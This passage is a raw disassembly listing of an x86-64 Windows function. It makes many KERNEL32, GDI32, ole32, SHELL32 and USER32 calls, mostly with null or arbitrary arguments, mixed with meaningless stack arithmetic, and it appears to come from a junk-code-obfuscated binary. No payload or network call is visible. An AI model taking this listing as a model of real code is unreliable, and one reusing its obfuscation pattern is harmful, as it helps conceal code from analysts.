add ecx, eax
mov eax, ecx
mov dword [rsp + 0xae1c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [0x14028ea00]
mov eax, dword [rax]
mov dword [rsp + 0xb6f4], eax
movzx eax, byte [rsp + 0x709]
mov rcx, qword [rsp + 0x15890]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x705], al
movzx eax, word [rsp + 0x2dbc]
mov rcx, qword [rsp + 0x15868]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f98], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x15c18], rax
mov rax, qword [rsp + 0x15b20]
mov eax, dword [rax]
mov dword [rsp + 0xb6f8], eax
mov rax, qword [rsp + 0x14f18]
mov ecx, dword [rsp + 0xa1b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x968c], eax
lea rax, [rsp + 0xb30c]
mov qword [rsp + 0x15c20], rax
mov eax, dword [rsp + 0xb57c]
mov rcx, qword [rsp + 0x145d0]
mov qword [rsp + 0x15c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c28]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140282a30], eax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1604], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
xor eax, ecx
mov byte [rsp + 0x782], al
lea rax, [rsp + 0x35f]
mov qword [rsp + 0x15c30], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x15ac8], rax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f04]
or eax, ecx
mov word [rsp + 0x3284], ax
mov eax, dword [rsp + 0xa630]
mov ecx, dword [rsp + 0x83d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8658], eax
mov eax, dword [rsp + 0xad90]
mov ecx, dword [rsp + 0x9ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa984], eax
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov word [rsp + 0x3304], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3ed]
sub eax, ecx
mov byte [rsp + 0x7d0], al
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa160]
and ecx, eax
mov eax, ecx
mov dword [0x140282a3c], eax
mov rax, qword [rsp + 0x15af0]
mov rcx, qword [rsp + 0x140f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb424], eax
lea rax, [rsp + 0xb344]
mov qword [rsp + 0x15c38], rax
mov eax, dword [rsp + 0xa694]
mov ecx, dword [rsp + 0x6998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb284], eax
mov dword [rsp + 0x20], 0x3d3f
mov r9d, 0x2b65
mov r8d, 0x3966
mov edx, 0x2a4
mov rcx, qword [rsp + 0x14db0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xaf6c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7f2], al
mov rax, qword [rsp + 0x15908]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d9c], ax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaef4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x158d0]
mov rcx, qword [rsp + 0x14e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ff8], eax
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xae1c]
shr eax, cl
mov dword [rsp + 0x9dc0], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov dword [0x14028e9e8], eax
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
mov dword [rsp + 0xb6fc], eax
mov rax, qword [rsp + 0x153a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14fb8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7d7], al
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x7f3], al
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c24], ax
mov eax, dword [rsp + 0xa4b0]
mov ecx, dword [rsp + 0xb07c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x76c0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb700], eax
mov rax, qword [rsp + 0x15528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaef0], eax
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x617]
add eax, ecx
mov byte [rsp + 0x692], al
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
mov rcx, qword [0x14028ec48]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14028eb42], ax
mov rax, qword [rsp + 0x15830]
mov eax, dword [rax]
mov dword [rsp + 0xb704], eax
mov rax, qword [rsp + 0x14a30]
mov ecx, dword [rsp + 0x6eb0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15758]
mov eax, dword [rax]
mov dword [rsp + 0xb708], eax
mov rax, qword [rsp + 0x155e0]
mov ecx, dword [rsp + 0xafac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb4d8], eax
lea rax, [rsp + 0x778]
mov qword [rsp + 0x15c40], rax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a88], ax
mov eax, dword [rsp + 0xb408]
mov ecx, dword [0x140282864]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7144], eax
mov rax, qword [rsp + 0x150c0]
mov rcx, qword [rsp + 0x15290]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7eec], eax
movsx eax, word [rsp + 0x32b0]
mov rcx, qword [rsp + 0x15150]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402829c0], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4c7]
shl eax, cl
mov byte [rsp + 0x63e], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov word [rsp + 0x3308], ax
movzx eax, byte [0x14028ec58]
movzx ecx, byte [rsp + 0x36e]
xor eax, ecx
mov rcx, qword [rsp + 0x14670]
mov byte [rcx], al
mov eax, dword [rsp + 0x7ba4]
movzx ecx, al
mov eax, dword [rsp + 0xb354]
shr eax, cl
mov dword [rsp + 0x8508], eax
lea rax, [rsp + 0xadc8]
mov qword [rsp + 0x15c48], rax
mov eax, dword [rsp + 0x89b4]
mov ecx, dword [0x140282940]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb5a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x15bb0]
mov eax, dword [rax]
mov dword [rsp + 0xb70c], eax
mov rax, qword [rsp + 0x15b50]
mov rcx, qword [rsp + 0x14a30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb118], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3084], ax
movzx eax, byte [rsp + 0x678]
mov rcx, qword [rsp + 0x15980]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281f17], al
mov rax, qword [rsp + 0x142b8]
mov rcx, qword [0x14028eda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6844], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb378], eax
mov rax, qword [rsp + 0x151d8]
mov rcx, qword [rsp + 0x15ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa464], eax
mov eax, dword [rsp + 0xab54]
mov dword [rsp + 0xb710], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7824]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb4e0], eax
movzx eax, byte [rsp + 0x719]
mov byte [rsp + 0x7f4], al
mov rcx, qword [rsp + 0x21a10]
call qword [sym.imp.GDI32.dll_GetGraphicsMode]
mov dword [rsp + 0xa554], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1840], ax
call fcn.140208c60
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
and eax, ecx
mov byte [0x14028eec1], al
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa33c], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2cc], eax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [0x14028eec1]
add eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e4], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e4], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov eax, dword [rsp + 0xa310]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x21a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21a18]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa340]
mov ecx, dword [0x140282690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [0x140282694], ax
call qword [sym.imp.GDI32.dll_GdiGetBatchLimit]
mov dword [rsp + 0xa24c], eax
movsx eax, byte [rsp + 0x632]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2b28]
call fcn.140208bb0
jmp 0x1402080de
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [0x140282694]
add eax, ecx
mov rcx, qword [0x14028eeb8]
mov word [rcx], ax
lea r8, [rsp + 0xa234]
mov edx, 0x25
lea rcx, [rsp + 0x13e54]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x13e58], eax
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x13e88]
movzx r9d, byte [rax]
mov rax, qword [rsp + 0x13f90]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x13e88]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x62]
call fcn.140208ca0
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x5e9]
xor eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
lea rdx, [rsp + 0x275]
lea rcx, [rsp + 0x2b4c]
call qword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [rsp + 0x13e58], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
and eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2bc], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9d94], eax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
or eax, ecx
mov byte [rsp + 0x5e9], al
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x2134]
sar eax, cl
mov word [0x140282698], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x21a20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21a20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0x9e20]
mov ecx, dword [rsp + 0xa340]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa338], eax
mov edx, dword [rsp + 0x13e5c]
lea rcx, [rsp + 0x14018]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0x13e54], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [0x14028eec4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b4c]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b50], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2b0], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
lea r8, [rsp + 0xa234]
mov edx, 0x44
mov rcx, qword [rsp + 0x21a28]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x13e60], eax
movsx eax, byte [rsp + 0x634]
movsx ecx, byte [rsp + 0x62e]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [0x140282690]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
movzx eax, word [rsp + 0x2b38]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1840], ax
movzx eax, byte [rsp + 0x633]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14028eec1], al
jmp 0x140208413
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [0x14028eec8], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13f70]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x13f70]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x633]
movzx ecx, word [rsp + 0x2b34]
call fcn.140208d50
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0xa264]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x21a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21a30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2cc], eax
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov byte [rsp + 0x5e9], al
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
lea rax, [rsp + 0x13e80]
mov qword [rsp + 0x20], rax
mov r9d, 0x3e
lea r8, [rsp + 0x2b40]
lea rdx, [rsp + 0xa234]
mov rcx, qword [rsp + 0x13ec8]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x13e5c], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1840], ax
jmp 0x14020863a
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e20], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [rsp + 0x2b24], ax
mov edx, 0xa9
lea rcx, [rsp + 0x13e88]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x13e60], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
or eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eec1]
xor eax, ecx
mov byte [0x140281daa], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b48], ax
mov eax, dword [rsp + 0xa2e4]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x21a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21a38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x62e]
mov rax, qword [rsp + 0x13e88]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x13e88]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x632]
call fcn.140208ca0
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2134]
and eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x62e]
movzx r8d, byte [rsp + 0x632]
movzx edx, byte [rsp + 0x632]
mov rax, qword [rsp + 0x13e88]
movzx ecx, byte [rax]
call fcn.140208ca0
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x630]
mov rax, qword [rsp + 0x13ea8]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x62e]
mov rax, qword [rsp + 0x13e88]
movzx ecx, byte [rax]
call fcn.140208ca0
mov rax, qword [rsp + 0x13f90]
movzx ecx, byte [rax]
call fcn.140208b40
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xa2bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov eax, dword [rsp + 0xa250]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x21a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x21a40]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
or eax, ecx
mov word [rsp + 0x2b38], ax
movzx eax, byte [rsp + 0x631]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
lea rcx, [rsp + 0x13e80]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
call fcn.140208c60
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x84a4], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
movsx eax, word [0x140282694]
movsx ecx, word [rsp + 0x2b24]
and eax, ecx
mov word [rsp + 0x2b2c], ax
mov rdx, qword [rsp + 0x13fd8]
lea rcx, [rsp + 0x13eb8]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x13e64], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [0x140282698]
sub eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
jmp 0x1402088eb
movzx r8d, word [rsp + 0x2b24]
mov rax, qword [rsp + 0x13e78]
mov edx, dword [rax]
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rax]
call fcn.140208d00
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
add eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
xor eax, ecx
mov byte [0x140281da7], al
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b2c]
or eax, ecx
mov word [rsp + 0x2b24], ax
mov qword [rsp + 0x20], 0xda
mov r9, qword [rsp + 0x21a48]
mov r8, qword [rsp + 0x21a50]
mov rdx, qword [rsp + 0x13fc8]
mov rcx, qword [rsp + 0x21a58]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x21a60], rax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa264]
sar eax, cl
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
jmp 0x1402089c8
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
movzx eax, word [rsp + 0x2b30]
movzx ecx, word [rsp + 0x2b40]
sub eax, ecx
mov word [rsp + 0x1840], ax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
call fcn.140208c60
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028eec8], eax
mov edx, 0x82
lea rcx, [rsp + 0x13e98]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x14048], rax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2b30]
call fcn.140208bb0
jmp 0x140208ad0
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [0x140281da7]
add eax, ecx
mov byte [rsp + 0x62e], al
mov rcx, qword [rsp + 0x21a10]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x9e40], eax
mov eax, dword [rsp + 0xa264]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
movzx edx, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x4f2]
call fcn.140208c00
jmp 0x140208b00
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa238], eax
movzx eax, byte [rsp + 0x4f2]
xor eax, 9
mov byte [rsp + 0x285], al
mov cx, 0x5d
call fcn.140208bb0
mov eax, dword [rsp + 0x6798]
mov rcx, qword [rsp + 0x29ca0]
xor rcx, rsp
call fcn.140209180
add rsp, 0x29cb8
ret